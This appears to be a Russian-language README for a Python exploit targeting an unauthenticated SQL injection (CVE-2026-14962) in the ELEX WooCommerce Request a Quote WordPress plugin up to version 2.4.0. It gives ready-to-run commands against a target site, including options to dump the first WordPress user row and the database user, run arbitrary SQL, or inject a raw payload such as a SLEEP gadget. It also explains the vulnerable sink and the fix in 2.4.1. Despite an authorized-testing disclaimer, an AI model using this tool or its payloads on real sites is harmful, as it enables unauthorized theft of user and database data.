
Wordpress Plugin ELEX WooCommerce Request a Quote неаутентифицированная SQL-инъекция
Wordpress Plugin ELEX WooCommerce Request a Quote — неаутентифицированная SQL-инъекция
ELEX WooCommerce Request a Quote (WordPress-плагин elex-request-a-quote) ≤ 2.4.0 — неаутентифицированная SQL-инъекция через публичное AJAX-действие elex_raq_add_to_quote.
Только для авторизованного тестирования. Не запускайте это против систем, которыми вы не владеете и на тестирование которых у вас нет разрешения.
Требуется: Python 3, только стандартная библиотека. На целевом сайте должен быть запущен WooCommerce (скрипты/нонс для quote выводятся на странице магазина/главной странице).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Флаг | Что он делает |
|---|
-u / --url | Корень сайта WordPress (обязательно). http:// или https://; имя хоста сначала пробуется как HTTPS, затем HTTP. Самоподписанный TLS автоматически повторяется. --insecure пропускает проверку с самого начала |
--test | Гость: версия плагина + публичный нонс, затем неразрушающая SQL-проба $0 |
--dump | Первая строка wp_users + пользователь БД. Требуется WP_DEBUG, чтобы ошибка XPATH была в теле HTTP-ответа |
--query SQL | Ваше собственное SQL-выражение (без одинарных кавычек; используйте 0x… hex для строк) |
--sql EXPR | Необработанный data[id] после выхода из $0$0 (вы сами пишете гаджет ) OR … #) |
--sleep N | Попытка на основе времени SLEEP(N) |
--pid / --vid | Идентификаторы товара / вариации WooCommerce (вариация должна быть непустой, чтобы попасть в sink) |
--insecure | Пропустить проверку TLS |
--timeout | Таймаут HTTP в секундах (по умолчанию 30) |
Неаутентифицированно. Нонс выводится в request_a_quote_ajax_obj на / и /shop/. Гостевая cookie — request_a_quote_user_coockie (написание плагина).
--test отправляет POST attribute_value=$0. Уязвимая версия 2.4.0 preg_replace трактует $0 как совпадение %s и оставляет литерал %d в запросе. 2.4.1 привязывает JSON_CONTAINS, и $0 является только JSON-значением.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Changelog плагина 2.4.1.
